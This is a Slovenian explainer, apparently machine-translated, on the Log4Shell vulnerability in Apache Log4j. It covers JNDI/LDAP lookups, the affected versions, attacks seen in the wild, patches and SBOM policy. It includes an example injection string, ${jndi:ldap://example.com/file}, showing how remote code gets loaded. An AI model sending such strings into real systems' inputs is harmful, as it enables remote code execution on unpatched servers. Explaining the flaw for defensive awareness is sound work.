Kazalo[Skrij][Pokaži]
Konec novembra 2021 smo odkrili veliko grožnjo kibernetski varnosti. To izkoriščanje bi lahko vplivalo na milijone računalniških sistemov po vsem svetu.
To je vodnik o ranljivosti Log4j in o tem, kako je spregledana načrtna napaka pustila več kot 90 % svetovnih računalniških storitev odprtih za napad.
Apache Log4j je odprtokodni pripomoček za beleženje, ki temelji na Javi, ki ga je razvila Apache Software Foundation. Prvotno ga je leta 2001 napisal Ceki Gülcü, zdaj pa je del Apache Logging Services, projekta Apache Software Foundation.
Podjetja po vsem svetu uporabljajo knjižnico Log4j, da omogočijo prijavo v svoje aplikacije. Pravzaprav je knjižnica Java tako vseprisotna, da jo najdete v aplikacijah Amazon, Microsoft, Google in drugih.
Pomembnost knjižnice pomeni, da bi vsaka morebitna napaka v kodi lahko povzročila vdore na milijone računalnikov. 24. novembra 2021 je a varnost v oblaku Raziskovalec, ki dela za Alibaba, je odkril strašno napako.
Ranljivost Log4j, znana tudi kot Log4Shell, je obstajala neopažena od leta 2013. Ranljivost je zlonamernim akterjem omogočila izvajanje kode v prizadetih sistemih, ki izvajajo Log4j. Javno je bil objavljen 9. decembra 2021
Strokovnjaki iz industrije imenujejo napako Log4Shell the največja ranljivost v zadnjem času.
V tednu po objavi ranljivosti so ekipe za kibernetsko varnost odkrile na milijone napadov. Nekateri raziskovalci so opazili celo več kot sto napadov na minuto.
Kako deluje?
Da bi razumeli, zakaj je Log4Shell tako nevaren, moramo razumeti, česa je zmožen.
Ranljivost Log4Shell omogoča poljubno izvajanje kode, kar v bistvu pomeni, da lahko napadalec zažene kateri koli ukaz ali kodo na ciljnem računalniku.
Kako to doseže?
Najprej moramo razumeti, kaj je JNDI.
Java Naming and Directory Interface (JNDI) je storitev Java, ki programom Java omogoča odkrivanje in iskanje podatkov in virov prek imena. Te imeniške storitve so pomembne, ker zagotavljajo organiziran nabor zapisov za razvijalce, na katere se zlahka sklicujejo pri ustvarjanju aplikacij.
JNDI lahko uporablja različne protokole za dostop do določenega imenika. Eden od teh protokolov je Lightweight Directory Access Protocol ali LDAP.
Ko beležite niz, log4j izvaja zamenjave nizov, ko naletijo na izraze oblike ${prefix:name}
.
Na primer, Text: ${java:version}
se lahko zabeleži kot Besedilo: Java različica 1.8.0_65. Tovrstne zamenjave so običajne.
Lahko imamo tudi izraze kot npr Text: ${jndi:ldap://example.com/file}
ki uporablja sistem JNDI za nalaganje predmeta Java iz URL-ja prek protokola LDAP.
To dejansko naloži podatke, ki prihajajo s tega URL-ja, v stroj. Vsak potencialni heker lahko gosti zlonamerno kodo na javnem URL-ju in počaka, da jo stroji, ki uporabljajo Log4j, prijavijo.
Ker vsebina dnevniških sporočil vsebuje podatke, ki jih nadzira uporabnik, lahko hekerji vstavijo lastne JNDI reference, ki kažejo na strežnike LDAP, ki jih nadzorujejo. Ti strežniki LDAP so lahko polni zlonamernih objektov Java, ki jih JNDI lahko izvede zaradi ranljivosti.
Kar je še slabše, je, da ni pomembno, ali je aplikacija na strani strežnika ali na strani odjemalca.
Dokler obstaja možnost, da zapisovalnik prebere zlonamerno kodo napadalca, je aplikacija še vedno odprta za izkoriščanja.
Kdo je prizadet?
Ranljivost vpliva na vse sisteme in storitve, ki uporabljajo APache Log4j, z različicami 2.0 do vključno 2.14.1.
Več varnostnih strokovnjakov svetuje, da lahko ranljivost vpliva na številne aplikacije, ki uporabljajo Javo.
Napaka je bila prvič odkrita v videoigri Minecraft, ki je v lasti Microsofta. Microsoft je svoje uporabnike pozval, naj nadgradijo svojo programsko opremo Minecraft Java Edition, da preprečijo kakršno koli tveganje.
Jen Easterly, direktorica Agencije za kibernetsko varnost in varnost infrastrukture (CISA), pravi, da imajo prodajalci velika odgovornost preprečiti končnim uporabnikom pred zlonamernimi akterji, ki bi izkoristili to ranljivost.
"Dobavitelji bi morali prav tako komunicirati s svojimi strankami, da bi zagotovili, da končni uporabniki vedo, da njihov izdelek vsebuje to ranljivost, in bi morali dati prednost posodobitvam programske opreme."
Napadi naj bi se že začeli. Symantec, podjetje, ki ponuja programsko opremo za kibernetsko varnost, je opazilo različno število zahtev za napade.
Tukaj je nekaj primerov vrst napadov, ki so jih odkrili raziskovalci:
- botnetov
Botneti so omrežje računalnikov, ki so pod nadzorom ene same napadalke. Pomagajo pri izvajanju DDoS napadov, kraji podatkov in drugih prevarah. Raziskovalci so opazili botnet Muhstik v lupinskih skriptih, prenesenih iz izkoriščanja Log4j.
- Trojanski rudar XMRig
XMRig je odprtokodni rudar kriptovalut, ki uporablja procesorje za rudarjenje žetona Monero. Kibernetski kriminalci lahko namestijo XMRig na naprave ljudi, tako da lahko uporabljajo njihovo procesorsko moč brez njihove vednosti.
- Khonsari Ransomware
Ransomware se nanaša na obliko zlonamerne programske opreme, ki je namenjena šifriranje datotek na računalniku. Napadalci lahko nato zahtevajo plačilo v zameno za vrnitev dostopa do šifriranih datotek. Raziskovalci so v napadih Log4Shell odkrili izsiljevalsko programsko opremo Khonsari. Ciljajo na strežnike Windows in uporabljajo ogrodje .NET.
Kaj sledi?
Strokovnjaki napovedujejo, da bodo morda potrebni meseci ali morda celo leta, da se v celoti popravi kaos, ki ga povzroča ranljivost Log4J.
Ta postopek vključuje posodobitev vsakega prizadetega sistema s popravljeno različico. Tudi če so vsi ti sistemi popravljeni, še vedno obstaja grozeča grožnja možnih stranskih vrat, ki so jih hekerji morda že dodali oknu, da so strežniki odprti za napad.
Veliko rešitve in ublažitve obstajajo, da preprečijo izkoriščanje aplikacij zaradi te napake. Nova različica Log4j 2.15.0-rc1 je spremenila različne nastavitve za ublažitev te ranljivosti.
Vse funkcije, ki uporabljajo JNDI, bodo privzeto onemogočene, prav tako so omejena oddaljena iskanja. Če onemogočite funkcijo iskanja v nastavitvah Log4j, boste zmanjšali tveganje morebitnih zlorab.
Zunaj Log4j še vedno obstaja potreba po širšem načrtu za preprečevanje odprtokodnih izkoriščanj.
V začetku maja je Bela hiša objavila izvršilni red katerega namen je bil izboljšati nacionalno kibernetsko varnost. Vključevala je določbo za popis materiala programske opreme (SBOM), ki je bil v bistvu uradni dokument, ki je vseboval seznam vseh postavk, potrebnih za izdelavo aplikacije.
To vključuje dele, kot je open source paketi, odvisnosti in API-ji, ki se uporabljajo za razvoj. Čeprav je zamisel o SBOM koristna za preglednost, ali bo res pomagala potrošniku?
Nadgrajevanje odvisnosti je lahko preveč težavno. Podjetja se lahko preprosto odločijo za plačilo kakršnih koli kazni, namesto da tvegajo, da izgubljajo dodatni čas z iskanjem alternativnih paketov. Morda bodo ti SBOM uporabni le, če bodo njihovi Obseg je dodatno omejena.
zaključek
Težava Log4j je več kot le tehnična težava za organizacije.
Vodje podjetij se morajo zavedati možnih tveganj, do katerih lahko pride, ko se njihovi strežniki, izdelki ali storitve zanašajo na kodo, ki je sami ne vzdržujejo.
Zanašanje na odprtokodne aplikacije in aplikacije tretjih oseb je vedno povezano z določenim tveganjem. Podjetja bi morala razmisliti o oblikovanju strategij za zmanjšanje tveganja, preden pridejo na dan nove grožnje.
Velik del spleta temelji na odprtokodni programski opremi, ki jo vzdržuje na tisoče prostovoljcev po vsem svetu.
Če želimo ohraniti splet varen, bi morale vlade in korporacije vlagati v financiranje odprtokodnih prizadevanj in agencij za kibernetsko varnost, kot je npr. CISA.
Pustite Odgovori